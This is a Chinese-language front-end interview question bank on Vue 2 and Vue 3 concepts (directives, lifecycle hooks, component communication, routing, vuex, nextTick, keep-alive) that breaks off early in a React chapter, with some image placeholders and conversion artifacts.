
构建结果输出分析

Vue 项目的编译优化

(3)基础的 Web 技术的优化

开启 gzip 压缩

浏览器缓存

CDN 的使用

使用 Chrome Performance 查找性能瓶颈

# 5.37对于即将到来的 vue3.0 特性你有什么了解的吗?

Vue 3.0 正走在发布的路上,Vue 3.0 的目标是让 Vue 核心变得更小、更快、更强大,因此 Vue 3.0 增加以下这些新特性:

(1)监测机制的改变

3.0 将带来基于代理 Proxy 的 observer 实现,提供全语言覆盖的反应性跟踪。这消除了 Vue 2 当中基于 Object.defineProperty 的实现所存在的很多限制:

只能监测属性,不能监测对象

检测属性的添加和删除;

检测数组索引和长度的变更;

支持 Map、Set、WeakMap 和 WeakSet。

新的 observer 还提供了以下特性:

用于创建 observable 的公开 API。这为中小规模场景提供了简单轻量级的跨组件状态管理解决方案。

默认采用惰性观察。在 2.x 中,不管反应式数据有多大,都会在启动时被观察到。如果你的数据集很大,这可能会在应用启动时带来明显的开销。在 3.x 中,只观察用于渲染应用程序最初可见部分的数据。

更精确的变更通知。在 2.x 中,通过 Vue.set 强制添加新属性将导致依赖于该对象的 watcher 收到变更通知。在 3.x 中,只有依赖于特定属性的 watcher 才会收到通知。

不可变的 observable:我们可以创建值的"不可变"版本(即使是嵌套属性),除非系统在内部暂时将其"解禁"。这个机制可用于冻结 prop 传递或 Vuex 状态树以外的变化。

更好的调试功能:我们可以使用新的 renderTracked 和 renderTriggered 钩子精确地跟踪组件在什么时候以及为什么重新渲染。

(2)模板

模板方面没有大的变更,只改了作用域插槽,2.x 的机制导致作用域插槽变了,父组件会重新渲染,而 3.0 把作用域插槽改成了函数的方式,这样只会影响子组件的重新渲染,提升了渲染的性能。

同时,对于 render 函数的方面,vue3.0 也会进行一系列更改来方便习惯直接使用 api 来生成 vdom 。

(3)对象式的组件声明方式

vue2.x 中的组件是通过声明的方式传入一系列 option,和 TypeScript 的结合需要通过一些装饰器的方式来做,虽然能实现功能,但是比较麻烦。3.0 修改了组件的声明方式,改成了类式的写法,这样使得和 TypeScript 的结合变得很容易。

此外,vue 的源码也改用了 TypeScript 来写。其实当代码的功能复杂之后,必须有一个静态类型系统来做一些辅助管理。现在 vue3.0 也全面改用 TypeScript 来重写了,更是使得对外暴露的 api 更容易结合 TypeScript。静态类型系统对于复杂代码的维护确实很有必要。

(4)其它方面的更改

vue3.0 的改变是全面的,上面只涉及到主要的 3 个方面,还有一些其他的更改:

支持自定义渲染器,从而使得 weex 可以通过自定义渲染器的方式来扩展,而不是直接 fork 源码来改的方式。

支持 Fragment(多个根节点)和 Protal(在 dom 其他部分渲染组建内容)组件,针对一些特殊的场景做了处理。

基于 treeshaking 优化,提供了更多的内置功能。

# 5.38说一下vue最大特点是什么或者说vue核心是什么

vue最大特点我感觉就是"组件化"和"数据驱动"

组件化就是可以将页面和页面中可复用的元素都看做成组件,写页面的过程,就是写组件,然后页面是由这些组件"拼接"起来的组件树

数据驱动就是让我们只关注数据层,只要数据变化,页面(即视图层)会自动更新,至于如何操作dom,完全交由vue去完成,咱们只关注数据,数据变了,页面自动同步变化了,很方便

# 5.39说一下vue常用基本指令有哪些

v-if:根据表达式的值的真假条件渲染元素。在切换时元素及它的数据绑定 / 组件被销毁并重建。

v-show:根据表达式之真假值,切换元素的 display CSS 属性。

v-for:循环指令,基于一个数组或者对象渲染一个列表,vue 2.0以上必须需配合 key值 使用。

v-bind:动态地绑定一个或多个特性,或一个组件 prop 到表达式。

v-on:用于监听指定元素的DOM事件,比如点击事件。绑定事件监听器。

v-model:实现表单输入和应用状态之间的双向绑定

v-pre:跳过这个元素和它的子元素的编译过程。可以用来显示原始 Mustache 标签。跳过大量没有指令的节点会加快编译。

v-once:只渲染元素和组件一次。随后的重新渲染,元素/组件及其所有的子节点将被视为静态内容并跳过。这可以用于优化更新性能。

# 5.40 Vue常用的修饰符

v-on 指令常用修饰符:

.stop - 调用 event.stopPropagation(),禁止事件冒泡。

.prevent - 调用 event.preventDefault(),阻止事件默认行为。

.capture - 添加事件侦听器时使用 capture 模式。

.self - 只当事件是从侦听器绑定的元素本身触发时才触发回调。

.{keyCode | keyAlias} - 只当事件是从特定键触发时才触发回调。

.native - 监听组件根元素的原生事件。

.once - 只触发一次回调。

.left - (2.2.0) 只当点击鼠标左键时触发。

.right - (2.2.0) 只当点击鼠标右键时触发。

.middle - (2.2.0) 只当点击鼠标中键时触发。

.passive - (2.3.0) 以 { passive: true } 模式添加侦听器

注意: 如果是在自己封装的组件或者是使用一些第三方的UI库时,会发现并不起效果,这时就需要用`·.native修饰符了,如:

//使用示例:

<el-input v-model="inputName" placeholder="搜索你的文件"

@keyup.enter.native="searchFile(params)"></el-input>

v-bind 指令常用修饰符:

.prop - 被用于绑定 DOM 属性 (property)。(差别在哪里?)

.camel - (2.1.0+) 将 kebab-case 特性名转换为 camelCase. (从 2.1.0 开始支持)

.sync (2.3.0+) 语法糖,会扩展成一个更新父组件绑定值的 v-on 侦听器。

v-model 指令常用修饰符:

.lazy - 取代 input 监听 change 事件

.number - 输入字符串转为数字

.trim - 输入首尾空格过滤

# 5.41 Vue 组件中 data 为什么必须是函数

问题一:Vue 组件中 data 为什么必须是函数?

简单回答

//为什么data函数里面要return一个对象

<script>

export default {

data() {

return { // 返回一个唯一的对象,不要和其他组件共用一个对象进行返回

menu: MENU.data,

poi: POILIST.data

}

}

}

</script>

因为一个组件是可以共享的,但他们的data是私有的,所以每个组件都要return一个新的data对象,返回一个唯一的对象,不要和其他组件共用一个对象

# 5.42说一下v-if和v-show的区别

v-if和v-show都可以显示和隐藏一个元素,但有本质区别

v-if是惰性的,只是值为false就不会加载对应元素,为true才动态加载对应元素

v-show:是无论为true和为false都会加载对应html代码,但为false时用display:none隐藏不在页面显示,但为true时页面上用display:block显示其效果

适用场景:切换频繁的场合用v-show,切换不频繁的场合用v-if

# 5.43说一下vue自定义指令如何实现的和适用场景?

哦,这个问题是这样的,vue除有了v-for,v-if等自带vue指令外,但不能满足所有的开发需求,有时需要自定义指令,自定义指令创建有全局自定义指令和局部自定义指令

全局自定义指令:Vue.directive('指令名',{ inserted(el) { } })

局部自定义指令:directives:{ }

# 5.44说一下vue过滤器做什么的(vue1.x和vue2.x这块的区别)

答:vue过滤器主要用于对渲染出来的数据进行格式化处理。例如:后台返回的数据性别用0和1表示,但渲染到页面上不能是0和1我得转换为"男"和"女",这时就会用到过滤器,还有商品价格读取出来的是普通数值,例如:230035,但我要在前面加个货币符号和千分分隔等,例如变成:¥230,035,都得需要vue过滤器

如何创建过滤器呢,跟创建自定义指令类似,也有全局和局部过滤器的形式

全局过滤器:Vue.filter('过滤器名',function(参数1,参数2,...) {

//...........

return 要返回的数据格式

})

局部过滤器:在组件内部添加filters属性来定义过滤器

fitlers:{

过滤器名(参数1,参数2,,...参数n) {

//...........

return 要返回的数据格式

}

}

# 5.45说一下vue生命周期钩子函数有哪些,分别什么时候触发

答:vue生命周期即为一个组件从出生到死亡的一个完整周期,主要包括以下4个阶段:创建,挂载,更新,销毁

创建前:beforeCreate, 创建后:created

挂载前:beforeMount, 挂载后:mounted

更新前:beforeUpdate, 更新后:updated

销毁前:beforeDestroy, 销毁后:destroyed

我平时用的比较多的钩了是created和mounted,created用于获取后台数据,mounted用于dom挂载完后做一些dom操作,以及初始化插件等.beforeDestroy用户清除定时器以及解绑事件等,

另外还新增了使用内置组件 keep-alive 来缓存实例,而不是频繁创建和销毁(开销大)

actived 实例激活

deactived 实例失效

以下为详解版,大家理解就ok:

生命周期钩子函数(11个)Function(类型),标注蓝色的那个是属于类型的意思。

beforeCreate Function 在实例初始化之后,数据观测 (data observer) 和 event/watcher 事件配置之前被调用。

created Function 在实例创建完成后被立即调用。在这一步,实例已完成以下的配置:数据观测 (data observer), 属性和方法的运算,watch/event 事件回调。然而,挂载阶段还没开始,$el 属性目前不可见。

beforeMount Function 在挂载开始之前被调用:相关的 render 函数首次被调用。

mounted Function el 被新创建的 vm.$el 替换,并挂载到实例上去之后调用该钩子。如果 root 实例挂载了一个文档内元素,当 mounted 被调用时 vm.$el 也在文档内。

beforeUpdate Function 数据更新时调用,发生在虚拟 DOM 打补丁之前。这里适合在更新之前访问现有的 DOM,比如手动移除已添加的事件监听器。该钩子在服务器端渲染期间不被调用,因为只有初次渲染会在服务端进行。

updated Function 由于数据更改导致的虚拟 DOM 重新渲染和打补丁,在这之后会调用该钩子。

activated Function keep-alive 组件激活时调用。该钩子在服务器端渲染期间不被调用。

deactivated Function keep-alive 组件停用时调用。该钩子在服务器端渲染期间不被调用。

beforeDestroy Function 实例销毁之前调用。在这一步,实例仍然完全可用。该钩子在服务器端渲染期间不被调用。

destroyed Function Vue 实例销毁后调用。调用后,Vue 实例指示的所有东西都会解绑定,所有的事件监听器会被移除,所有的子实例也会被销毁。该钩子在服务器端渲染期间不被调用。

errorCaptured(2.5.0+ 新增) (err: Error, vm: Component, info: string) => ?boolean 当捕获一个来自子孙组件的错误时被调用。此钩子会收到三个参数:错误对象、发生错误的组件实例以及一个包含错误来源信息的字符串。此钩子可以返回 false 以阻止该错误继续向上传播。

# 5.46说一下vue组件通讯(即传值)有哪几种形式,分别是如何实现的

答:vue组件通讯大致有三种:父传子,子传父,还有兄弟之间通讯

第一种:父传子:主要通过props来实现的

具体实现:父组件通过import引入子组件,并注册,在子组件标签上添加要传递的属性,子组件通过props接收,接收有两种形式一是通过数组形式['要接收的属性' ],二是通过对象形式{ }来接收,对象形式可以设置要传递的数据类型和默认值,而数组只是简单的接收

第二种:子传父:主要通过$emit来实现

具体实现:子组件通过通过绑定事件触发函数,在其中设置this.$emit('要派发的自定义事件',要传递的值),$emit中有两个参数一是要派发的自定义事件,第二个参数是要传递的值

然后父组件中,在这个子组件身上@派发的自定义事件,绑定事件触发的methods中的方法接受的默认值,就是传递过来的参数

第三种:兄弟之间传值有两种方法:

方法一:通过event bus实现

具体实现:创建一个空的vue并暴露出去,这个作为公共的bus,即当作两个组件的桥梁,在两个兄弟组件中分别引入刚才创建的bus,在组件A中通过bus.$emit('自定义事件名',要发送的值)发送数据,在组件B中通过bus.$on('自定义事件名',function(v) { //v即为要接收的值 })接收数据

方法二:通过vuex实现

具体实现:vuex是一个状态管理工具,主要解决大中型复杂项目的数据共享问题,主要包括state,actions,mutations,getters和modules 5个要素,主要流程:组件通过dispatch到 actions,actions是异步操作,再actions中通过commit到mutations,mutations再通过逻辑操作改变state,从而同步到组件,更新其数据状态

# 5.47说一下vue封装组件中的slot作用

答:vue封装组件涉及三个东西:

一是事件(v-on,$emit),

二是传参通过props

三是slot:slot作用主要是可以实现内容分发,组件标签内嵌套内容,可通过<slot></slot>来定义占位的内容

分为具名的slot和匿名的slot

在编写可复用组件的时候,时刻考虑组件是否可复用是有好处的。一次性组件跟其他组件紧密耦合没关系,但是可复用组件一定要定义一个清晰的公开接口。

Vue.js组件 API 来自 三部分:prop、事件、slot:

prop 允许外部环境传递数据给组件,在vue-cli工程中也可以使用vuex等传递数据。

事件允许组件触发外部环境的 action(就是行为,也就是方法的意思)

slot 允许外部环境将内容插入到组件的视图结构内。

# 5.48说一下vue转场动画如何实现的

答:vue转场动画主要通过vue中的提供的transition组件实现的,例如;

<transition name="名称">

<router-view></router-view>

</transition>

其中name为转场的名称,自己定义,可通过定义进入和离开两种转场动画,格式为:

.名称-enter { } //将要进入动画

.名称-enter-active { } //定义进入的过程动画

.名称-leave { } //将要离开的动画

.名称-leave-active { } //定义离开过程中的动画

# 5.49说一下你对单向数据流的理解

答:单向数据流主要是vue 组件间传递数据是单向的,即数据总是由父组件传递给子组件,子组件在其内部维护自己的数据,但它无权修改父组件传递给它的数据,当开发者尝试这样做的时候,vue 将会报错。这样做是为了组件间更好的维护。

在开发中可能有多个子组件依赖于父组件的某个数据,假如子组件可以修改父组件数据的话,一个子组件变化会引发所有依赖这个数据的子组件发生变化,所以 vue 不推荐子组件修改父组件的数据

# 5.50说一下vue双向数据绑定的原理

答:核心主要利用ES5中的Object.defineProperty实现的,然后利用里面的getter和setter来实现双向数据绑定的,大致就这些,其实要实现起来比这个要复杂一些,不过我大致了解过。

# 5.51说一下vue路由或前端路由实现原理

答:前端路由实现原理主要通过以下两种技术实现的

第一种:利用H5的history API实现

主要通过history.pushState 和 history.replaceState来实现,不同之处在于,pushState会增加一条新的历史记录,而replaceState则会替换当前的历史记录[发布项目时,需要配置下apache]

第二种:利用url的hash实现

我们经常在 url 中看到 #,这个 # 有两种情况,一个是我们所谓的锚点,路由里的 # 不叫锚点,我们称之为 hash,我们说的就是hash,主要利用监听哈希值的变化来触发事件 ------ hashchange 事件来做页面局部更新

总结:hash 方案兼容性好,而H5的history主要针对高级浏览器。

以下为具体的API的区别:

this.$router.push(location, onComplete?, onAbort?) 这个方法会向 history 栈添加一个新的记录,所以,当用户点击浏览器后退按钮时,则回到之前的 URL。并且点击 <router-link :to="...">等同于调用 router.push(...)。

this.$router.replace(location, onComplete?, onAbort?) 这个方法不会向 history 添加新记录,而是跟它的方法名一样 ------ 替换掉当前的 history 记录,所以,当用 户点击浏览器后退按钮时,并不会回到之前的 URL。

this.$router.go(n) 这个方法的参数是一个整数,意思是在 history 记录中向前或者后退多少步,类似 window.history.go(n)。

以上也可能会形成一个新的面试题:replace和push的区别

可以说,以前在一个项目里面配置了一个二级路由,里面有tab切换部分(详情,评价,说明),因为返回上一页的时候,不能在这几个选项卡之间来回切换.所以我使用了this.$router.replace方法,不计入history记录中,所以不会出现,反复切换的bug

# 5.52说一下vue路由钩子(或称vue路由守卫)的理解

什么场景下用到

答:vue路由钩子是在路由跳转过程中拦截当前路由和要跳转的路由的信息,有三种路由钩子:

第一种:全局路由钩子 beforeEach(to,from,next) { }

第二种:路由独享的钩子beforeEnter(to,from,next) { }

第三种:组件内的钩子

beforeRouteEnter(to,from,next) {

//...

}

beforeRouteUpdate(to,from,next) {

//...

}

beforeRouteLeave(to,from,next) {

//...

}

适用场景:动态设置页面标题,判断用户登录权限等:代码示例:

//全局路由导航守卫

vueRouter.beforeEach(function (to, from, next) {

const nextRoute = [ 'detail'];

const auth = sessionStorage.getItem("username");

let FROMPATH = from.path;

//跳转至上述3个页面

if (nextRoute.indexOf(to.name) >= 0) {

//上述数组中的路径,是相当于有权限的页面,访问数组列表中的页面就应该 是在登陆状态下

if (!auth) {

let params = Object.assign({frompath:FROMPATH},from.query);

next({path: '/newlogin',query:params});

}

}

//已登录的情况再去登录页,跳转至首页

if (to.name === 'newlogin') {

if (auth) {

// vueRouter.push({name: 'index'});

next({path: '/'});

}

}

next();

});

# 5.53说一下vue路由懒加载解决什么问题的?

答:vue路由懒加载主要解决打包后文件过大的问题,事件触发才加载对应组件中的js

# 5.54说一下如何解决vue首屏加载慢或白屏?

1.路由懒加载

{width="4.509722222222222in" height="1.2090277777777778in"}

2.开启Gzip压缩

{width="5.763888888888889in" height="3.3777777777777778in"}

3. 使用webpack的externals属性把不需要打包的库文件分离出去,减少打包后文件的大小

{width="2.004861111111111in" height="1.3708333333333333in"}

4. 使用vue的服务端渲染(SSR)

# 5.55说一下vue开发环境和线上环境如何切换

主要通过检测process.env.NODE_ENV==="production"和process.env.NODE_ENV==="development"环境,来设置线上和线下环境地址,从而实现线上和线下环境地址的切换

# 5.56说一下你们项目中vue如何跨域的

跨域前端和后端都可以实现,如果只针对vue,vue本身可以通过代理的方式可以实现,具体实现:

在config中的index.js中配置proxy来实现:

{width="4.704166666666667in" height="2.884027777777778in"}

# 5.57说一下vue中methods,computed,watch的区别:

methods中都是封装好的函数,无论是否有变化只要触发就会执行

computed:是vue独有的特性计算属性,可以对data中的依赖项再重新计算,得到一个新值,应用到视图中,和methods本质区别是computed是可缓存的,也就是说computed中的依赖项没有变化,则computed中的值就不会重新计算,而methods中的函数是没有缓存的。Watch是监听data和计算属性中的新旧变化。

vue用什么绑定事件,用什么绑定属性

答:用v-on绑定事件,简称:@,用v-bind来绑定属性,简称::属性

# 5.58 vue如何动态添加属性,实现数据响应?

vue主要通过用this.$set(对象,'属性',值)实现动态添加属性,以实现数据的响应注意是添加,我记忆中如果是修改引用类型属性的值,是可以自动渲染的.

# 5.59 vue中的http请求是如何管理的

vue中的http请求如果散落在vue各种组件中,不便于后期维护与管理,所以项目中通常将业务需求统一存放在一个目录下管理,例如src下的API文件夹,这里面放入组件中用到的所有封装好的http请求并导出,再其他用到的组件中导入调用。如下面封装的HTTP请求

../../../Library/Containers/com.tencent.qq/Data/Library/Application%20Support/QQ/Users/379792553/QQ/Temp.db/0B9E7794-ECC4-477B-A37A-7976B08B51DF.png{width="5.7555555555555555in" height="4.093055555555556in"}

# 5.60说一下你对axios拦截器的理解:

axios拦截器可以让我们在项目中对后端http请求和响应自动拦截处理,减少请求和响应的代码量,提升开发效率同时也方便项目后期维护

例如:

{width="4.56875in" height="3.6993055555555556in"}

{width="4.5881944444444445in" height="3.795138888888889in"}

或者对公共的数据做操作

{width="5.754861111111111in" height="3.504166666666667in"}

# 5.61说一下vue和jquey的区别

jquery主要是玩dom操作的"神器",强大的选择器,封装了好多好用的dom操作方法和如何获取ajax方法 例如:$.ajax()非常好用

vue:主要用于数据驱动和组件化,很少操作dom,当然vue可能通过ref来选择一个dom或组件

# 5.62说一下vue如何实现局部样式的或者说如何实现组件之间样式不冲突的和实现原理是什么?

css没有局部样式的概念,vue脚手架通过实现了,即在style标签上添加scoped

{width="3.015277777777778in" height="1.5472222222222223in"}

scoped的实现原理:vue通过postcss给每个dom元素添加一个以data-开头的随机自定义属性实现的

# 5.63说一下vue第三方ui样式库如何实现样式穿透的(ui库和less/sass穿透问题) >>> /deep/

{width="4.098611111111111in" height="3.1777777777777776in"}

# 5.64 vue目录结构(面试时可能会这样问说一下vue工程目录结构)

答:统一的目录结构可以方便团队协作和职责明晰,也方便项目后期维护和管理,具体vue项目目录结构包括:

build:项目构建目录

config:项目配置,包括代理配置,线上和线下环境配置

node_modules:node包目录,npm install安装的包都在这个目录

src:平时开发时的目录

static:存入一些静态资源资源目录,我们可以把一些图片,字体,json数据放在这里。

.eslintrc.js:Eslint代码检查配置文件

.babelrc:ES6配置

.gitignore:忽略提交到远程仓库的配置

# 5.65 vue脚手架是你们公司搭建的,还是用的vue的脚本架?webpack了解多少?

我们公司用的vue官方的脚手架(vue-cli),vue-cli版本有3.0和2.9.x版本

webpack是一个前端模块化打包构建工具,vue脚手架本身就用的webpack来构建的,webpack本身需要的入口文件通过entry来指定,出口通过output来指定,默认只支持js文件,其他文件类型需要通过对应的loader来转换,例如:less需要less,less-loader,sass需要sass-loader,css需要style-loader,css-loader来实现。当然本身还有一些内置的插件来对文件进行压缩合并等操作

# 5.67说一下你对vuex的理解:

vuex是一个状态管理工具,主要解决大中型复杂项目的数据共享问题,主要包括state,actions,mutations,getters和modules 5个要素,主要流程:组件通过dispatch到 actions,actions是异步操作,再actions中通过commit到mutations,mutations再通过逻辑操作改变state,从而同步到组件,更新其数据状态,而getters相当于组件的计算属性对,组件中获取到的数据做提前处理的.再说到辅助函数的作用.

# 5.68 vuex如何实现数据持久化(即刷新后数据还保留)?

因为vuex中的state是存储在内存中的,一刷新就没了,例如登录状态,解决方案有:

第一种:利用H5的本地存储(localStorage,sessionStorage)

第二种:利用第三方封装好的插件,例如:vuex-persistedstate

{width="4.2in" height="2.6569444444444446in"}

# 5.69说一下nextTick的作用和使用场景?

vue中的nextTick主要用于处理数据动态变化后,DOM还未及时更新的问题,用nextTick就可以获取数据更新后最新DOM的变化

适用场景:

第一种:有时需要根据数据动态的为页面某些dom元素添加事件,这就要求在dom元素渲染完毕时去设置,但是created与mounted函数执行时一般dom并没有渲染完毕,所以就会出现获取不到,添加不了事件的问题,这回就要用到nextTick处理

第二种:在使用某个第三方插件时 ,希望在vue生成的某些dom动态发生变化时重新应用该插件,也会用到该方法,这时候就需要在 $nextTick 的回调函数中执行重新应用插件的方法,例如:应用滚动插件better-scroll时

{width="3.0208333333333335in" height="1.55in"}

{width="4.524305555555555in" height="1.8895833333333334in"}

第三种:数据改变后获取焦点

再来看以下解析:

何为$nextTick?

简单回答:

因为Vue的异步更新队列,$nextTick是用来知道什么时候DOM更新完成的。

详细解读:

我们先来看这样一个场景:有一个div,默认用 v-if 将它隐藏,点击一个按钮后,改变 v-if 的值,让它显示出来,同时拿到这个div的文本内容。如果v-if的值是 false,直接去获取div内容是获取不到的,因为此时div还没有被创建出来,那么应该在点击按钮后,改变v-if的值为 true,div才会被创建,此时再去获取,示例代码如下:

<div id="app">

<div id="div" v-if="showDiv">这是一段文本</div>

<button @click="getText">获取div内容</button>

</div>

<script>

var app = new Vue({

el : "#app",

data:{

showDiv : false

},

methods:{

getText:function(){

this.showDiv = true;

var text = document.getElementById('div').innnerHTML;

console.log(text);

}

}

})

</script>

这段代码并不难理解,但是运行后在控制台会抛出一个错误:Cannot read property 'innnerHTML of null,意思就是获取不到div元素。这里就涉及Vue一个重要的概念:异步更新队列。

异步更新队列

Vue在观察到数据变化时并不是直接更新DOM,而是开启一个队列,并缓冲在同一个事件循环中发生的所以数据改变。在缓冲时会去除重复数据,从而避免不必要的计算和DOM操作。然后,在下一个事件循环tick中,Vue刷新队列并执行实际(已去重的)工作。所以如果你用一个for循环来动态改变数据100次,其实它只会应用最后一次改变,如果没有这种机制,DOM就要重绘100次,这固然是一个很大的开销。

Vue会根据当前浏览器环境优先使用原生的Promise.then和MutationObserver,如果都不支持,就会采用setTimeout代替。

知道了Vue异步更新DOM的原理,上面示例的报错也就不难理解了。事实上,在执行this.showDiv = true时,div仍然还是没有被创建出来,直到下一个vue事件循环时,才开始创建。$nextTick就是用来知道什么时候DOM更新完成的,所以上面的示例代码需要修改为:

<div id="app">

<div id="div" v-if="showDiv">这是一段文本</div>

<button @click="getText">获取div内容</button>

</div>

<script>

var app = new Vue({

el : "#app",

data:{

showDiv : false

},

methods:{

getText:function(){

this.showDiv = true;

this.$nextTick(function(){

var text = document.getElementById('div').innnerHTML;

console.log(text);

});

}

}

})

</script>

这时再点击事件,控制台就打印出div的内容"这是一段文本"了。

理论上,我们应该不用去主动操作DOM,因为Vue的核心思想就是数据驱动DOM,但在很多业务里,我们避免不了会使用一些第三方库,比如 popper.js、swiper等,这些基于原生javascript的库都有创建和更新及销毁的完整生命周期,与Vue配合使用时,就要利用好$nextTick。

# 5.70 v-for 与 v-if 的优先级

当它们处于同一节点,v-for的优先级比v-if更高,这意味着 v-if将分别重复运行于每个 v-for循环中。当你想为仅有的一些项渲染节点时,这种优先级的机制会十分有用,如下:

<li v-for=\"todo in todos\" v-if=\"!todo.isComplete\">

{{ todo }}

</li>
1
2
3
4
5

上面的代码只传递了未完成的 todos。

而如果你的目的是有条件地跳过循环的执行,那么可以将 v-if 置于外层元素 (或 <template>)上

# 5.71 vue中 keep-alive 组件的作用

keep-alive:主要用于保留组件状态或避免重新渲染。

比如: 有一个列表页面和一个 详情页面,那么用户就会经常执行打开详情=>返回列表=>打开详情这样的话 列表 和 详情 都是一个频率很高的页面,那么就可以对列表组件使用<keep-alive></keep-alive>进行缓存,这样用户每次返回列表的时候,都能从缓存中快速渲染,而不是重新渲染。

1、属性:

include:字符串或正则表达式。只有匹配的组件会被缓存。

exclude:字符串或正则表达式。任何匹配的组件都不会被缓存。

2、用法:

包裹动态组件时,会缓存不活动的组件实例,而不是销毁它们。和 <transition>相似,<keep-alive>是一个抽象组件:它自身不会渲染一DOM 元素,也不会出现在父组件链中。

当组件在<keep-alive> 内被切换,在 2.2.0 及其更高版本中,activated 和 deactivated生命周期 将会在 树内的所有嵌套组件中触发

# Vue3.0

# 5.72 vue3 和 vue2 的区别

1、Vue3的Template支持多个根标签,Vue2不支持。

2、Vue 3 有 createApp(),而 Vue 2 的是 new Vue()

createApp(组件),new Vue({template,render})

3、Vue3中移除了过滤器功能,可以使用methods或者computed来实现。

  1. Vue2.x 和 Vue3.x 生命周期方法的变化:

首先在 vue 3.0 中,生命周期是从 vue 中导出的,我们需要用到哪些就导入什么。


2.x 生命周期 3.x 生命周期 执行时间说明


beforeCreate setup 组件创建前执行

created setup 组件创建后执行

beforeMount onBeforeMount 组件挂载到节点上之前执行

mounted onMounted 组件挂载完成后执行

beforeUpdate onBeforeUpdate 组件更新之前执行

updated onUpdated 组件更新完成之后执行

beforeDestroy onBeforeUnmount 组件卸载之前执行

destroyed onUnmounted 组件卸载完成后执行

# errorCaptured onErrorCaptured 当捕获一个来自子孙组件的异常时激活钩子函数

\<template>

    \<router-link to=\"/\"\>点这里去首页\</router-link>

    \<hr>

    \<div class=\"home\"\>

      这里是一个计数器 \>\>\> \<span class=\"red\"\>{{count}}\</span> \<br>

      \<button \@click=\"countAdd\"\>点击加数字\</button>

    \</div>

  \</template>

  \<script>

  // 你需要使用到什么生命周期,就引出来什么生命周期

  import {

    onBeforeMount,

    onMounted,

    onBeforeUpdate,

    onUpdated,

    onBeforeUnmount,

    onUnmounted,

    ref

  } from \'vue\'

   

  export default {

    // setup 函数,就相当于 vue 2.0 中的 created

    setup () {

      *const* count = ref(0)

      // 其他的生命周期都写在这里

      onBeforeMount (() *=>* {

        count.value++

        console.log(\'onBeforeMount\', count.value)

      })

      onMounted (() *=>* {

        count.value++

        console.log(\'onMounted\', count.value)

      })

      // 注意,onBeforeUpdate 和 onUpdated 里面不要修改值,会死循环的哦!

      onBeforeUpdate (() *=>* {

        console.log(\'onBeforeUpdate\', count.value)

      })

      onUpdated (() *=>* {

        console.log(\'onUpdated\', count.value)

      })

      onBeforeUnmount (() *=>* {

        count.value++

        console.log(\'onBeforeUnmount\', count.value)

      })

      onUnmounted (() *=>* {

        count.value++

        console.log(\'onUnmounted\', count.value)

      })

      // 定义一个函数,修改 count 的值。

      *const* countAdd = () *=>* {

        count.value++

      }

      return {

        count,

        countAdd

      }

    }

  }

  \</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117

5、slot具名插槽的使用

vue2中的用法
子组件

\<slot name=\"title\"\>
1

父组件

\<template slot=\"title\"\>

\<h1>哈哈哈\</h1>

\</template>
1
2
3
4
5

vue3中子组件用法不变,父组件需要使用v-slot:插槽名

父组件

\<template v-slot:title>

\<h1>哈哈哈\</h1>

\</template>
1
2
3
4
5

6、项目目录结构
vue-cli2.0与3.0在目录结构方面,有明显的不同

vue-cli3.0移除了配置文件目录,config 和 build 文件夹

同时移除了 static 静态文件夹,新增了 public 文件夹,打开层级目录还会发现, index.html 移动到 public 中

7、配置项
3.0 config文件已经被移除,但是多了.env.production和env.development文件,除了文件位置,实际配置起来和2.0没什么不同

没了config文件,跨域需要配置域名时,从config/index.js 挪到了vue.config.js中,配置方法不变

8、渲染
Vue2.x使用的Virtual Dom实现的渲染

Vue3.0不论是原生的html标签还是vue组件,他们都会通过h函数来判断,如果是原生html标签,在运行时直接通过Virtual Dom来直接渲染,同样如果是组件会直接生成组件代码
9、数据监听
Vue2.x大家都知道使用的是es5的object.defineproperties中getter和setter实现的,而vue3.0的版本,是基于Proxy进行监听的,其实基于proxy监听就是所谓的lazy by default,什么意思呢,就是只要你用到了才会监听,可以理解为'按需监听',官方给出的诠释是:速度加倍,同时内存占用还减半。

10、按需引入
Vue2.x中new出的实例对象,所有的东西都在这个vue对象上,这样其实无论你用到还是没用到,都会跑一变。而vue3.0中可以用ES module imports按需引入,如:keep-alive内置组件、v-model指令,等等。

11、Composition API

Reactive、ref、toRef、toRefs、Readonly、computed、watch、watchEffect

12、Vue3 比 Vue2 有什么优势

(1) 性能更好

(2) 体积更小

(3) 更好的 TS 支持

(4) 更好的代码组织

(5) 更好的逻辑抽离

(6) 更多新功能

# 第6章 React {#第6章-react .list-paragraph}

# 6.1区分Real DOM和Virtual DOM

1659075566(1){width="5.763888888888889in" height="2.3618055555555557in"}

# 6.2什么是React?

  • React 是 Facebook 在 2011 年开发的前端 JavaScript 库。

  • 它遵循基于组件的方法,有助于构建可重用的UI组件。

  • 它用于开发复杂和交互式的 Web 和移动 UI。

  • 尽管它仅在 2015 年开源,但有一个很大的支持社区。

# 6.3 React有什么特点?

1、它使用**虚拟DOM **而不是真正的DOM。

2、它使用客户端渲染。

3、它遵循单向数据流或数据绑定。

# 6.4列出React的一些主要优点。

它提高了应用的性能

可以方便地在客户端和服务器端使用

由于 JSX,代码的可读性很好

React 很容易与 Meteor,Angular 等其他框架集成

使用React,编写UI测试用例变得非常容易

# 6.5 React有哪些限制?

React 只是一个库,而不是一个完整的框架

它的库非常庞大,需要时间来理解

新手程序员可能很难理解

编码变得复杂,因为它使用内联模板和 JSX

# 6.6什么是JSX?

JSX 是J avaScript XML 的简写。是 React 使用的一种文件,它利用 JavaScript 的表现力和类似 HTML 的模板语法。这使得 HTML 文件非常容易理解。此文件能使应用非常可靠,并能够提高其性能。下面是JSX的一个例子:

render(){

return (

<div>

<h1> 再也不要遇见!!</h1>

</div>

);

}

# 6.7你了解 Virtual DOM 吗?解释一下它的工作原理。

Virtual DOM 是一个轻量级的 JavaScript 对象,它最初只是 real DOM 的副本。它是一个节点树,它将元素、它们的属性和内容作为对象及其属性。 React 的渲染函数从 React 组件中创建一个节点树。然后它响应数据模型中的变化来更新该树,该变化是由用户或系统完成的各种动作引起的。

Virtual DOM 工作过程有三个简单的步骤。

  1. 每当底层数据发生改变时,整个 UI 都将在 Virtual DOM 描述中重新渲染。

    1659075862(1){width="5.767361111111111in" height="2.06875in"}

